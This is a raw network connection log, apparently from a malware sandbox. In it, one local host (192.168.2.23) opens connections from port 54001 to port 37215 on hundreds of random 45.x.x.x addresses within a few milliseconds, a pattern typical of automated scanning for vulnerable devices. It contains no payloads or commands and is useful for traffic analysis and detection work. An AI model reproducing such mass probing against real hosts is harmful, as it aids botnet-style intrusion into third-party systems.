Feb 19, 2024 18:35:38.488162041 CET	54001	37215	192.168.2.23	45.95.79.14
Feb 19, 2024 18:35:38.488183975 CET	54001	37215	192.168.2.23	45.72.203.10
Feb 19, 2024 18:35:38.488209009 CET	54001	37215	192.168.2.23	45.0.43.66
Feb 19, 2024 18:35:38.488217115 CET	54001	37215	192.168.2.23	45.208.255.22
Feb 19, 2024 18:35:38.488217115 CET	54001	37215	192.168.2.23	45.86.182.187
Feb 19, 2024 18:35:38.488224983 CET	54001	37215	192.168.2.23	45.238.159.52
Feb 19, 2024 18:35:38.488239050 CET	54001	37215	192.168.2.23	45.199.43.20
Feb 19, 2024 18:35:38.488239050 CET	54001	37215	192.168.2.23	45.74.132.120
Feb 19, 2024 18:35:38.488257885 CET	54001	37215	192.168.2.23	45.43.176.196
Feb 19, 2024 18:35:38.488269091 CET	54001	37215	192.168.2.23	45.140.127.143
Feb 19, 2024 18:35:38.488296986 CET	54001	37215	192.168.2.23	45.226.138.25
Feb 19, 2024 18:35:38.488296986 CET	54001	37215	192.168.2.23	45.31.78.51
Feb 19, 2024 18:35:38.488306999 CET	54001	37215	192.168.2.23	45.247.92.27
Feb 19, 2024 18:35:38.488320112 CET	54001	37215	192.168.2.23	45.87.223.210
Feb 19, 2024 18:35:38.488332987 CET	54001	37215	192.168.2.23	45.73.6.200
Feb 19, 2024 18:35:38.488337994 CET	54001	37215	192.168.2.23	45.85.205.6
Feb 19, 2024 18:35:38.488343000 CET	54001	37215	192.168.2.23	45.8.4.56
Feb 19, 2024 18:35:38.488348007 CET	54001	37215	192.168.2.23	45.19.139.1
Feb 19, 2024 18:35:38.488363981 CET	54001	37215	192.168.2.23	45.61.7.104
Feb 19, 2024 18:35:38.488374949 CET	54001	37215	192.168.2.23	45.54.168.36
Feb 19, 2024 18:35:38.488384962 CET	54001	37215	192.168.2.23	45.45.158.198
Feb 19, 2024 18:35:38.488399029 CET	54001	37215	192.168.2.23	45.124.160.211
Feb 19, 2024 18:35:38.488405943 CET	54001	37215	192.168.2.23	45.210.255.120
Feb 19, 2024 18:35:38.488420010 CET	54001	37215	192.168.2.23	45.3.9.196
Feb 19, 2024 18:35:38.488432884 CET	54001	37215	192.168.2.23	45.199.231.251
Feb 19, 2024 18:35:38.488432884 CET	54001	37215	192.168.2.23	45.243.145.164
Feb 19, 2024 18:35:38.488452911 CET	54001	37215	192.168.2.23	45.130.224.79
Feb 19, 2024 18:35:38.488464117 CET	54001	37215	192.168.2.23	45.130.97.0
Feb 19, 2024 18:35:38.488488913 CET	54001	37215	192.168.2.23	45.240.192.48
Feb 19, 2024 18:35:38.488495111 CET	54001	37215	192.168.2.23	45.9.130.168
Feb 19, 2024 18:35:38.488506079 CET	54001	37215	192.168.2.23	45.186.252.99
Feb 19, 2024 18:35:38.488523006 CET	54001	37215	192.168.2.23	45.40.175.18
Feb 19, 2024 18:35:38.488533974 CET	54001	37215	192.168.2.23	45.6.65.161
Feb 19, 2024 18:35:38.488543987 CET	54001	37215	192.168.2.23	45.53.98.54
Feb 19, 2024 18:35:38.488550901 CET	54001	37215	192.168.2.23	45.131.239.132
Feb 19, 2024 18:35:38.488550901 CET	54001	37215	192.168.2.23	45.28.69.84
Feb 19, 2024 18:35:38.488573074 CET	54001	37215	192.168.2.23	45.237.109.107
Feb 19, 2024 18:35:38.488579035 CET	54001	37215	192.168.2.23	45.136.218.59
Feb 19, 2024 18:35:38.488584042 CET	54001	37215	192.168.2.23	45.35.134.231
Feb 19, 2024 18:35:38.488626003 CET	54001	37215	192.168.2.23	45.179.191.34
Feb 19, 2024 18:35:38.488635063 CET	54001	37215	192.168.2.23	45.115.108.147
Feb 19, 2024 18:35:38.488648891 CET	54001	37215	192.168.2.23	45.231.177.105
Feb 19, 2024 18:35:38.488648891 CET	54001	37215	192.168.2.23	45.40.173.31
Feb 19, 2024 18:35:38.488662004 CET	54001	37215	192.168.2.23	45.187.184.225
Feb 19, 2024 18:35:38.488670111 CET	54001	37215	192.168.2.23	45.166.95.55
Feb 19, 2024 18:35:38.488670111 CET	54001	37215	192.168.2.23	45.104.190.253
Feb 19, 2024 18:35:38.488682032 CET	54001	37215	192.168.2.23	45.248.68.44
Feb 19, 2024 18:35:38.488694906 CET	54001	37215	192.168.2.23	45.120.213.157
Feb 19, 2024 18:35:38.488717079 CET	54001	37215	192.168.2.23	45.249.28.37
Feb 19, 2024 18:35:38.488737106 CET	54001	37215	192.168.2.23	45.48.72.69
Feb 19, 2024 18:35:38.488742113 CET	54001	37215	192.168.2.23	45.242.6.135
Feb 19, 2024 18:35:38.488742113 CET	54001	37215	192.168.2.23	45.229.62.108
Feb 19, 2024 18:35:38.488755941 CET	54001	37215	192.168.2.23	45.169.73.197
Feb 19, 2024 18:35:38.488784075 CET	54001	37215	192.168.2.23	45.177.45.188
Feb 19, 2024 18:35:38.488784075 CET	54001	37215	192.168.2.23	45.188.130.227
Feb 19, 2024 18:35:38.488796949 CET	54001	37215	192.168.2.23	45.211.67.54
Feb 19, 2024 18:35:38.488799095 CET	54001	37215	192.168.2.23	45.151.225.243
Feb 19, 2024 18:35:38.488818884 CET	54001	37215	192.168.2.23	45.24.166.128
Feb 19, 2024 18:35:38.488823891 CET	54001	37215	192.168.2.23	45.57.82.206
Feb 19, 2024 18:35:38.488837004 CET	54001	37215	192.168.2.23	45.249.63.118
Feb 19, 2024 18:35:38.488859892 CET	54001	37215	192.168.2.23	45.164.213.147
Feb 19, 2024 18:35:38.488859892 CET	54001	37215	192.168.2.23	45.1.182.138
Feb 19, 2024 18:35:38.488883972 CET	54001	37215	192.168.2.23	45.78.231.185
Feb 19, 2024 18:35:38.488887072 CET	54001	37215	192.168.2.23	45.101.212.231
Feb 19, 2024 18:35:38.488887072 CET	54001	37215	192.168.2.23	45.160.220.218
Feb 19, 2024 18:35:38.488910913 CET	54001	37215	192.168.2.23	45.191.145.73
Feb 19, 2024 18:35:38.488924026 CET	54001	37215	192.168.2.23	45.128.188.206
Feb 19, 2024 18:35:38.488929033 CET	54001	37215	192.168.2.23	45.40.39.97
Feb 19, 2024 18:35:38.488950968 CET	54001	37215	192.168.2.23	45.196.17.248
Feb 19, 2024 18:35:38.488950968 CET	54001	37215	192.168.2.23	45.67.243.64
Feb 19, 2024 18:35:38.488975048 CET	54001	37215	192.168.2.23	45.247.227.248
Feb 19, 2024 18:35:38.488987923 CET	54001	37215	192.168.2.23	45.11.29.140
Feb 19, 2024 18:35:38.488989115 CET	54001	37215	192.168.2.23	45.34.167.64
Feb 19, 2024 18:35:38.488996983 CET	54001	37215	192.168.2.23	45.12.51.212
Feb 19, 2024 18:35:38.489008904 CET	54001	37215	192.168.2.23	45.239.44.238
Feb 19, 2024 18:35:38.489015102 CET	54001	37215	192.168.2.23	45.158.6.230
Feb 19, 2024 18:35:38.489042997 CET	54001	37215	192.168.2.23	45.29.72.6
Feb 19, 2024 18:35:38.489048004 CET	54001	37215	192.168.2.23	45.85.51.139
Feb 19, 2024 18:35:38.489056110 CET	54001	37215	192.168.2.23	45.44.172.118
Feb 19, 2024 18:35:38.489069939 CET	54001	37215	192.168.2.23	45.122.105.153
Feb 19, 2024 18:35:38.489080906 CET	54001	37215	192.168.2.23	45.178.177.201
Feb 19, 2024 18:35:38.489094973 CET	54001	37215	192.168.2.23	45.133.211.142
Feb 19, 2024 18:35:38.489109993 CET	54001	37215	192.168.2.23	45.106.223.79
Feb 19, 2024 18:35:38.489119053 CET	54001	37215	192.168.2.23	45.193.191.247
Feb 19, 2024 18:35:38.489125013 CET	54001	37215	192.168.2.23	45.142.164.130
Feb 19, 2024 18:35:38.489159107 CET	54001	37215	192.168.2.23	45.81.52.114
Feb 19, 2024 18:35:38.489166021 CET	54001	37215	192.168.2.23	45.122.5.199
Feb 19, 2024 18:35:38.489166021 CET	54001	37215	192.168.2.23	45.150.40.97
Feb 19, 2024 18:35:38.489182949 CET	54001	37215	192.168.2.23	45.6.21.118
Feb 19, 2024 18:35:38.489197969 CET	54001	37215	192.168.2.23	45.98.13.43
Feb 19, 2024 18:35:38.489208937 CET	54001	37215	192.168.2.23	45.202.154.144
Feb 19, 2024 18:35:38.489218950 CET	54001	37215	192.168.2.23	45.36.80.106
Feb 19, 2024 18:35:38.489243984 CET	54001	37215	192.168.2.23	45.12.221.215
Feb 19, 2024 18:35:38.489253998 CET	54001	37215	192.168.2.23	45.106.8.168
Feb 19, 2024 18:35:38.489253998 CET	54001	37215	192.168.2.23	45.76.209.237
Feb 19, 2024 18:35:38.489253998 CET	54001	37215	192.168.2.23	45.91.102.255
Feb 19, 2024 18:35:38.489272118 CET	54001	37215	192.168.2.23	45.240.58.102
Feb 19, 2024 18:35:38.489276886 CET	54001	37215	192.168.2.23	45.110.141.41
Feb 19, 2024 18:35:38.489288092 CET	54001	37215	192.168.2.23	45.147.237.1
Feb 19, 2024 18:35:38.489290953 CET	54001	37215	192.168.2.23	45.51.143.221
Feb 19, 2024 18:35:38.489305019 CET	54001	37215	192.168.2.23	45.1.72.147
Feb 19, 2024 18:35:38.489317894 CET	54001	37215	192.168.2.23	45.100.205.48
Feb 19, 2024 18:35:38.489331007 CET	54001	37215	192.168.2.23	45.133.117.151
Feb 19, 2024 18:35:38.489342928 CET	54001	37215	192.168.2.23	45.106.14.153
Feb 19, 2024 18:35:38.489357948 CET	54001	37215	192.168.2.23	45.22.216.220
Feb 19, 2024 18:35:38.489366055 CET	54001	37215	192.168.2.23	45.22.136.5
Feb 19, 2024 18:35:38.489372969 CET	54001	37215	192.168.2.23	45.27.128.22
Feb 19, 2024 18:35:38.489383936 CET	54001	37215	192.168.2.23	45.177.115.79
Feb 19, 2024 18:35:38.489392996 CET	54001	37215	192.168.2.23	45.3.130.230
Feb 19, 2024 18:35:38.489403963 CET	54001	37215	192.168.2.23	45.184.105.110
Feb 19, 2024 18:35:38.489429951 CET	54001	37215	192.168.2.23	45.4.115.149
Feb 19, 2024 18:35:38.489453077 CET	54001	37215	192.168.2.23	45.0.17.69
Feb 19, 2024 18:35:38.489454985 CET	54001	37215	192.168.2.23	45.107.43.32
Feb 19, 2024 18:35:38.489459038 CET	54001	37215	192.168.2.23	45.173.211.26
Feb 19, 2024 18:35:38.489465952 CET	54001	37215	192.168.2.23	45.8.192.95
Feb 19, 2024 18:35:38.489465952 CET	54001	37215	192.168.2.23	45.174.17.152
Feb 19, 2024 18:35:38.489492893 CET	54001	37215	192.168.2.23	45.91.103.193
Feb 19, 2024 18:35:38.489497900 CET	54001	37215	192.168.2.23	45.191.139.221
Feb 19, 2024 18:35:38.489518881 CET	54001	37215	192.168.2.23	45.76.155.206
Feb 19, 2024 18:35:38.489526033 CET	54001	37215	192.168.2.23	45.22.177.39
Feb 19, 2024 18:35:38.489541054 CET	54001	37215	192.168.2.23	45.183.119.20
Feb 19, 2024 18:35:38.489547968 CET	54001	37215	192.168.2.23	45.195.233.107
Feb 19, 2024 18:35:38.489547968 CET	54001	37215	192.168.2.23	45.152.243.176
Feb 19, 2024 18:35:38.489567041 CET	54001	37215	192.168.2.23	45.139.207.200
Feb 19, 2024 18:35:38.489587069 CET	54001	37215	192.168.2.23	45.247.129.185
Feb 19, 2024 18:35:38.489603996 CET	54001	37215	192.168.2.23	45.120.89.15
Feb 19, 2024 18:35:38.489607096 CET	54001	37215	192.168.2.23	45.129.22.211
Feb 19, 2024 18:35:38.489608049 CET	54001	37215	192.168.2.23	45.141.240.95
Feb 19, 2024 18:35:38.489624977 CET	54001	37215	192.168.2.23	45.254.240.206
Feb 19, 2024 18:35:38.489639044 CET	54001	37215	192.168.2.23	45.174.92.219
Feb 19, 2024 18:35:38.489655018 CET	54001	37215	192.168.2.23	45.167.34.127
Feb 19, 2024 18:35:38.489662886 CET	54001	37215	192.168.2.23	45.152.72.97
Feb 19, 2024 18:35:38.489675045 CET	54001	37215	192.168.2.23	45.165.37.55
Feb 19, 2024 18:35:38.489675045 CET	54001	37215	192.168.2.23	45.18.88.222
Feb 19, 2024 18:35:38.489702940 CET	54001	37215	192.168.2.23	45.97.172.140
Feb 19, 2024 18:35:38.489713907 CET	54001	37215	192.168.2.23	45.242.170.124
Feb 19, 2024 18:35:38.489713907 CET	54001	37215	192.168.2.23	45.252.17.251
Feb 19, 2024 18:35:38.489727020 CET	54001	37215	192.168.2.23	45.66.45.81
Feb 19, 2024 18:35:38.489753008 CET	54001	37215	192.168.2.23	45.232.161.68
Feb 19, 2024 18:35:38.489762068 CET	54001	37215	192.168.2.23	45.95.30.34
Feb 19, 2024 18:35:38.489778996 CET	54001	37215	192.168.2.23	45.8.213.54
Feb 19, 2024 18:35:38.489784956 CET	54001	37215	192.168.2.23	45.62.57.214
Feb 19, 2024 18:35:38.489799976 CET	54001	37215	192.168.2.23	45.146.186.215
Feb 19, 2024 18:35:38.489813089 CET	54001	37215	192.168.2.23	45.9.165.149
Feb 19, 2024 18:35:38.489823103 CET	54001	37215	192.168.2.23	45.240.77.120
Feb 19, 2024 18:35:38.489835024 CET	54001	37215	192.168.2.23	45.149.142.253
Feb 19, 2024 18:35:38.489835024 CET	54001	37215	192.168.2.23	45.95.0.254
Feb 19, 2024 18:35:38.489850998 CET	54001	37215	192.168.2.23	45.131.24.182
Feb 19, 2024 18:35:38.489861012 CET	54001	37215	192.168.2.23	45.123.209.171
Feb 19, 2024 18:35:38.489890099 CET	54001	37215	192.168.2.23	45.97.51.182
Feb 19, 2024 18:35:38.489902973 CET	54001	37215	192.168.2.23	45.248.145.119
Feb 19, 2024 18:35:38.489907026 CET	54001	37215	192.168.2.23	45.88.150.56
Feb 19, 2024 18:35:38.489907980 CET	54001	37215	192.168.2.23	45.165.3.88
Feb 19, 2024 18:35:38.489923954 CET	54001	37215	192.168.2.23	45.9.142.48
Feb 19, 2024 18:35:38.489938021 CET	54001	37215	192.168.2.23	45.32.1.132
Feb 19, 2024 18:35:38.489942074 CET	54001	37215	192.168.2.23	45.91.218.42
Feb 19, 2024 18:35:38.489973068 CET	54001	37215	192.168.2.23	45.186.50.43
Feb 19, 2024 18:35:38.489981890 CET	54001	37215	192.168.2.23	45.252.140.246
Feb 19, 2024 18:35:38.489994049 CET	54001	37215	192.168.2.23	45.234.144.90
Feb 19, 2024 18:35:38.489994049 CET	54001	37215	192.168.2.23	45.103.5.229
Feb 19, 2024 18:35:38.490009069 CET	54001	37215	192.168.2.23	45.225.80.205
Feb 19, 2024 18:35:38.490021944 CET	54001	37215	192.168.2.23	45.245.78.142
Feb 19, 2024 18:35:38.490031004 CET	54001	37215	192.168.2.23	45.28.21.233
Feb 19, 2024 18:35:38.490045071 CET	54001	37215	192.168.2.23	45.177.97.183
Feb 19, 2024 18:35:38.490057945 CET	54001	37215	192.168.2.23	45.95.192.78
Feb 19, 2024 18:35:38.490068913 CET	54001	37215	192.168.2.23	45.68.143.71
Feb 19, 2024 18:35:38.490080118 CET	54001	37215	192.168.2.23	45.220.26.167
Feb 19, 2024 18:35:38.490098000 CET	54001	37215	192.168.2.23	45.190.17.154
Feb 19, 2024 18:35:38.490108013 CET	54001	37215	192.168.2.23	45.225.155.118
Feb 19, 2024 18:35:38.490129948 CET	54001	37215	192.168.2.23	45.173.204.227
Feb 19, 2024 18:35:38.490153074 CET	54001	37215	192.168.2.23	45.145.98.126
Feb 19, 2024 18:35:38.490153074 CET	54001	37215	192.168.2.23	45.205.158.215
Feb 19, 2024 18:35:38.490153074 CET	54001	37215	192.168.2.23	45.225.255.15
Feb 19, 2024 18:35:38.490163088 CET	54001	37215	192.168.2.23	45.98.241.180
Feb 19, 2024 18:35:38.490175009 CET	54001	37215	192.168.2.23	45.24.1.26
Feb 19, 2024 18:35:38.490184069 CET	54001	37215	192.168.2.23	45.7.170.124
Feb 19, 2024 18:35:38.490209103 CET	54001	37215	192.168.2.23	45.0.53.75
Feb 19, 2024 18:35:38.490223885 CET	54001	37215	192.168.2.23	45.150.234.248
Feb 19, 2024 18:35:38.490233898 CET	54001	37215	192.168.2.23	45.233.195.0
Feb 19, 2024 18:35:38.490243912 CET	54001	37215	192.168.2.23	45.127.215.146
Feb 19, 2024 18:35:38.490257025 CET	54001	37215	192.168.2.23	45.235.152.249
Feb 19, 2024 18:35:38.490267038 CET	54001	37215	192.168.2.23	45.13.238.244
Feb 19, 2024 18:35:38.490279913 CET	54001	37215	192.168.2.23	45.124.119.114
Feb 19, 2024 18:35:38.490295887 CET	54001	37215	192.168.2.23	45.95.116.90
Feb 19, 2024 18:35:38.490308046 CET	54001	37215	192.168.2.23	45.87.86.130
Feb 19, 2024 18:35:38.490319967 CET	54001	37215	192.168.2.23	45.121.194.61
Feb 19, 2024 18:35:38.490331888 CET	54001	37215	192.168.2.23	45.44.50.19
Feb 19, 2024 18:35:38.490344048 CET	54001	37215	192.168.2.23	45.107.248.154
Feb 19, 2024 18:35:38.490344048 CET	54001	37215	192.168.2.23	45.164.71.99
Feb 19, 2024 18:35:38.490355015 CET	54001	37215	192.168.2.23	45.94.245.142
Feb 19, 2024 18:35:38.490370989 CET	54001	37215	192.168.2.23	45.67.74.180
Feb 19, 2024 18:35:38.490380049 CET	54001	37215	192.168.2.23	45.98.166.130
Feb 19, 2024 18:35:38.490397930 CET	54001	37215	192.168.2.23	45.108.75.13
Feb 19, 2024 18:35:38.490401030 CET	54001	37215	192.168.2.23	45.44.120.18
Feb 19, 2024 18:35:38.490417004 CET	54001	37215	192.168.2.23	45.99.135.67
Feb 19, 2024 18:35:38.490426064 CET	54001	37215	192.168.2.23	45.248.144.207
Feb 19, 2024 18:35:38.490436077 CET	54001	37215	192.168.2.23	45.31.160.72
Feb 19, 2024 18:35:38.490447998 CET	54001	37215	192.168.2.23	45.56.131.206
Feb 19, 2024 18:35:38.490461111 CET	54001	37215	192.168.2.23	45.166.240.128
Feb 19, 2024 18:35:38.490473986 CET	54001	37215	192.168.2.23	45.173.100.52
Feb 19, 2024 18:35:38.490488052 CET	54001	37215	192.168.2.23	45.40.206.196
Feb 19, 2024 18:35:38.490495920 CET	54001	37215	192.168.2.23	45.204.148.161
Feb 19, 2024 18:35:38.490514040 CET	54001	37215	192.168.2.23	45.185.11.158
Feb 19, 2024 18:35:38.490525007 CET	54001	37215	192.168.2.23	45.108.23.95
Feb 19, 2024 18:35:38.490537882 CET	54001	37215	192.168.2.23	45.131.94.63
Feb 19, 2024 18:35:38.490547895 CET	54001	37215	192.168.2.23	45.65.237.178
Feb 19, 2024 18:35:38.490561962 CET	54001	37215	192.168.2.23	45.151.4.121
Feb 19, 2024 18:35:38.490588903 CET	54001	37215	192.168.2.23	45.238.144.149
Feb 19, 2024 18:35:38.490597010 CET	54001	37215	192.168.2.23	45.148.102.5
Feb 19, 2024 18:35:38.490597010 CET	54001	37215	192.168.2.23	45.254.39.157
Feb 19, 2024 18:35:38.490617037 CET	54001	37215	192.168.2.23	45.140.2.74
Feb 19, 2024 18:35:38.490629911 CET	54001	37215	192.168.2.23	45.130.66.222
Feb 19, 2024 18:35:38.490638018 CET	54001	37215	192.168.2.23	45.245.219.206
Feb 19, 2024 18:35:38.490654945 CET	54001	37215	192.168.2.23	45.102.18.117
Feb 19, 2024 18:35:38.490669966 CET	54001	37215	192.168.2.23	45.253.179.230
Feb 19, 2024 18:35:38.490680933 CET	54001	37215	192.168.2.23	45.49.28.199
Feb 19, 2024 18:35:38.490689993 CET	54001	37215	192.168.2.23	45.100.59.218
Feb 19, 2024 18:35:38.490691900 CET	54001	37215	192.168.2.23	45.101.198.213
Feb 19, 2024 18:35:38.490706921 CET	54001	37215	192.168.2.23	45.53.249.61
Feb 19, 2024 18:35:38.490712881 CET	54001	37215	192.168.2.23	45.207.99.82
Feb 19, 2024 18:35:38.490727901 CET	54001	37215	192.168.2.23	45.22.16.214
Feb 19, 2024 18:35:38.490731001 CET	54001	37215	192.168.2.23	45.138.176.20
Feb 19, 2024 18:35:38.490750074 CET	54001	37215	192.168.2.23	45.111.9.225
Feb 19, 2024 18:35:38.490755081 CET	54001	37215	192.168.2.23	45.173.210.51
Feb 19, 2024 18:35:38.490772009 CET	54001	37215	192.168.2.23	45.136.128.229
Feb 19, 2024 18:35:38.490782022 CET	54001	37215	192.168.2.23	45.186.20.219
Feb 19, 2024 18:35:38.490792036 CET	54001	37215	192.168.2.23	45.196.1.149
Feb 19, 2024 18:35:38.490817070 CET	54001	37215	192.168.2.23	45.116.161.18
Feb 19, 2024 18:35:38.490818024 CET	54001	37215	192.168.2.23	45.110.91.218
Feb 19, 2024 18:35:38.490837097 CET	54001	37215	192.168.2.23	45.239.231.128
Feb 19, 2024 18:35:38.490849972 CET	54001	37215	192.168.2.23	45.3.54.251
Feb 19, 2024 18:35:38.490849972 CET	54001	37215	192.168.2.23	45.97.229.186
Feb 19, 2024 18:35:38.490863085 CET	54001	37215	192.168.2.23	45.251.238.88
Feb 19, 2024 18:35:38.490876913 CET	54001	37215	192.168.2.23	45.174.240.222
Feb 19, 2024 18:35:38.490886927 CET	54001	37215	192.168.2.23	45.10.12.176
Feb 19, 2024 18:35:38.490890980 CET	54001	37215	192.168.2.23	45.77.41.210
Feb 19, 2024 18:35:38.490906000 CET	54001	37215	192.168.2.23	45.129.33.6
Feb 19, 2024 18:35:38.490919113 CET	54001	37215	192.168.2.23	45.24.132.134
Feb 19, 2024 18:35:38.490942955 CET	54001	37215	192.168.2.23	45.208.41.97
Feb 19, 2024 18:35:38.490951061 CET	54001	37215	192.168.2.23	45.103.92.2
Feb 19, 2024 18:35:38.490951061 CET	54001	37215	192.168.2.23	45.112.145.126
Feb 19, 2024 18:35:38.490958929 CET	54001	37215	192.168.2.23	45.248.32.216
Feb 19, 2024 18:35:38.490972042 CET	54001	37215	192.168.2.23	45.218.40.13
Feb 19, 2024 18:35:38.490984917 CET	54001	37215	192.168.2.23	45.42.139.1
Feb 19, 2024 18:35:38.490997076 CET	54001	37215	192.168.2.23	45.18.202.221
Feb 19, 2024 18:35:38.491008997 CET	54001	37215	192.168.2.23	45.84.203.230
Feb 19, 2024 18:35:38.491024017 CET	54001	37215	192.168.2.23	45.202.42.10
Feb 19, 2024 18:35:38.491038084 CET	54001	37215	192.168.2.23	45.181.89.103
Feb 19, 2024 18:35:38.491064072 CET	54001	37215	192.168.2.23	45.164.126.108
Feb 19, 2024 18:35:38.491064072 CET	54001	37215	192.168.2.23	45.64.13.98
Feb 19, 2024 18:35:38.491077900 CET	54001	37215	192.168.2.23	45.94.116.37
Feb 19, 2024 18:35:38.491089106 CET	54001	37215	192.168.2.23	45.121.178.110
Feb 19, 2024 18:35:38.491113901 CET	54001	37215	192.168.2.23	45.81.81.246
Feb 19, 2024 18:35:38.491126060 CET	54001	37215	192.168.2.23	45.201.255.75
Feb 19, 2024 18:35:38.491127968 CET	54001	37215	192.168.2.23	45.135.58.225
Feb 19, 2024 18:35:38.491149902 CET	54001	37215	192.168.2.23	45.88.1.20
Feb 19, 2024 18:35:38.491162062 CET	54001	37215	192.168.2.23	45.158.154.73
Feb 19, 2024 18:35:38.491168022 CET	54001	37215	192.168.2.23	45.77.109.144
Feb 19, 2024 18:35:38.491169930 CET	54001	37215	192.168.2.23	45.247.41.230
Feb 19, 2024 18:35:38.491190910 CET	54001	37215	192.168.2.23	45.146.167.200
Feb 19, 2024 18:35:38.491190910 CET	54001	37215	192.168.2.23	45.237.168.7
Feb 19, 2024 18:35:38.491200924 CET	54001	37215	192.168.2.23	45.173.76.39
Feb 19, 2024 18:35:38.491216898 CET	54001	37215	192.168.2.23	45.122.199.101
Feb 19, 2024 18:35:38.491231918 CET	54001	37215	192.168.2.23	45.225.146.153
Feb 19, 2024 18:35:38.491242886 CET	54001	37215	192.168.2.23	45.53.89.196
Feb 19, 2024 18:35:38.491252899 CET	54001	37215	192.168.2.23	45.195.223.177
Feb 19, 2024 18:35:38.491265059 CET	54001	37215	192.168.2.23	45.241.178.147
Feb 19, 2024 18:35:38.491276979 CET	54001	37215	192.168.2.23	45.59.171.48
Feb 19, 2024 18:35:38.491302013 CET	54001	37215	192.168.2.23	45.127.195.246
Feb 19, 2024 18:35:38.491302013 CET	54001	37215	192.168.2.23	45.137.29.225
Feb 19, 2024 18:35:38.491316080 CET	54001	37215	192.168.2.23	45.129.60.46
Feb 19, 2024 18:35:38.491326094 CET	54001	37215	192.168.2.23	45.249.148.169
Feb 19, 2024 18:35:38.491333961 CET	54001	37215	192.168.2.23	45.191.253.216
Feb 19, 2024 18:35:38.491348982 CET	54001	37215	192.168.2.23	45.242.238.22
Feb 19, 2024 18:35:38.491374016 CET	54001	37215	192.168.2.23	45.178.111.160
Feb 19, 2024 18:35:38.491375923 CET	54001	37215	192.168.2.23	45.26.145.63
Feb 19, 2024 18:35:38.491380930 CET	54001	37215	192.168.2.23	45.170.112.4
Feb 19, 2024 18:35:38.491395950 CET	54001	37215	192.168.2.23	45.116.212.130
Feb 19, 2024 18:35:38.491415977 CET	54001	37215	192.168.2.23	45.210.147.85
Feb 19, 2024 18:35:38.491436958 CET	54001	37215	192.168.2.23	45.249.172.254
Feb 19, 2024 18:35:38.491436958 CET	54001	37215	192.168.2.23	45.138.7.64
Feb 19, 2024 18:35:38.491453886 CET	54001	37215	192.168.2.23	45.44.80.249
Feb 19, 2024 18:35:38.491465092 CET	54001	37215	192.168.2.23	45.228.140.135
Feb 19, 2024 18:35:38.491465092 CET	54001	37215	192.168.2.23	45.95.16.76
Feb 19, 2024 18:35:38.491476059 CET	54001	37215	192.168.2.23	45.220.151.56
Feb 19, 2024 18:35:38.491492033 CET	54001	37215	192.168.2.23	45.129.194.30
Feb 19, 2024 18:35:38.491498947 CET	54001	37215	192.168.2.23	45.234.19.31
Feb 19, 2024 18:35:38.491508961 CET	54001	37215	192.168.2.23	45.10.228.227
Feb 19, 2024 18:35:38.491532087 CET	54001	37215	192.168.2.23	45.139.36.236
Feb 19, 2024 18:35:38.491544962 CET	54001	37215	192.168.2.23	45.119.22.89
Feb 19, 2024 18:35:38.491549015 CET	54001	37215	192.168.2.23	45.158.25.227
Feb 19, 2024 18:35:38.491563082 CET	54001	37215	192.168.2.23	45.123.192.46
Feb 19, 2024 18:35:38.491564035 CET	54001	37215	192.168.2.23	45.11.144.9
Feb 19, 2024 18:35:38.491578102 CET	54001	37215	192.168.2.23	45.44.145.100
Feb 19, 2024 18:35:38.491591930 CET	54001	37215	192.168.2.23	45.228.49.169
Feb 19, 2024 18:35:38.491600037 CET	54001	37215	192.168.2.23	45.177.80.2
Feb 19, 2024 18:35:38.491612911 CET	54001	37215	192.168.2.23	45.1.110.183
Feb 19, 2024 18:35:38.491625071 CET	54001	37215	192.168.2.23	45.198.63.152
Feb 19, 2024 18:35:38.491637945 CET	54001	37215	192.168.2.23	45.121.239.35
Feb 19, 2024 18:35:38.491651058 CET	54001	37215	192.168.2.23	45.211.158.121
Feb 19, 2024 18:35:38.491662025 CET	54001	37215	192.168.2.23	45.150.175.164
Feb 19, 2024 18:35:38.491676092 CET	54001	37215	192.168.2.23	45.189.127.129
Feb 19, 2024 18:35:38.491695881 CET	54001	37215	192.168.2.23	45.128.173.56
Feb 19, 2024 18:35:38.491695881 CET	54001	37215	192.168.2.23	45.25.69.226
Feb 19, 2024 18:35:38.491713047 CET	54001	37215	192.168.2.23	45.9.74.38
Feb 19, 2024 18:35:38.491729975 CET	54001	37215	192.168.2.23	45.1.245.187
Feb 19, 2024 18:35:38.491740942 CET	54001	37215	192.168.2.23	45.9.0.90
Feb 19, 2024 18:35:38.491758108 CET	54001	37215	192.168.2.23	45.96.15.46
Feb 19, 2024 18:35:38.491758108 CET	54001	37215	192.168.2.23	45.10.183.172
Feb 19, 2024 18:35:38.491772890 CET	54001	37215	192.168.2.23	45.43.223.8
Feb 19, 2024 18:35:38.491772890 CET	54001	37215	192.168.2.23	45.44.10.111
Feb 19, 2024 18:35:38.491790056 CET	54001	37215	192.168.2.23	45.135.74.136
Feb 19, 2024 18:35:38.491803885 CET	54001	37215	192.168.2.23	45.35.97.27
Feb 19, 2024 18:35:38.491803885 CET	54001	37215	192.168.2.23	45.156.75.94
Feb 19, 2024 18:35:38.491822958 CET	54001	37215	192.168.2.23	45.200.215.213
Feb 19, 2024 18:35:38.491839886 CET	54001	37215	192.168.2.23	45.64.124.94
Feb 19, 2024 18:35:38.491856098 CET	54001	37215	192.168.2.23	45.213.73.24
Feb 19, 2024 18:35:38.491863012 CET	54001	37215	192.168.2.23	45.182.139.107
Feb 19, 2024 18:35:38.491884947 CET	54001	37215	192.168.2.23	45.195.59.107
Feb 19, 2024 18:35:38.491899967 CET	54001	37215	192.168.2.23	45.151.93.129
Feb 19, 2024 18:35:38.491909981 CET	54001	37215	192.168.2.23	45.129.186.235
Feb 19, 2024 18:35:38.491924047 CET	54001	37215	192.168.2.23	45.233.255.198
Feb 19, 2024 18:35:38.491945028 CET	54001	37215	192.168.2.23	45.232.115.215
Feb 19, 2024 18:35:38.491947889 CET	54001	37215	192.168.2.23	45.250.106.241
Feb 19, 2024 18:35:38.491959095 CET	54001	37215	192.168.2.23	45.253.69.132
Feb 19, 2024 18:35:38.491971016 CET	54001	37215	192.168.2.23	45.160.127.209
Feb 19, 2024 18:35:38.491980076 CET	54001	37215	192.168.2.23	45.81.243.206
Feb 19, 2024 18:35:38.491980076 CET	54001	37215	192.168.2.23	45.117.193.71
Feb 19, 2024 18:35:38.491991997 CET	54001	37215	192.168.2.23	45.239.105.6
Feb 19, 2024 18:35:38.492002010 CET	54001	37215	192.168.2.23	45.220.29.190
Feb 19, 2024 18:35:38.492017031 CET	54001	37215	192.168.2.23	45.131.43.42
Feb 19, 2024 18:35:38.492029905 CET	54001	37215	192.168.2.23	45.15.187.98
Feb 19, 2024 18:35:38.492038012 CET	54001	37215	192.168.2.23	45.22.121.220
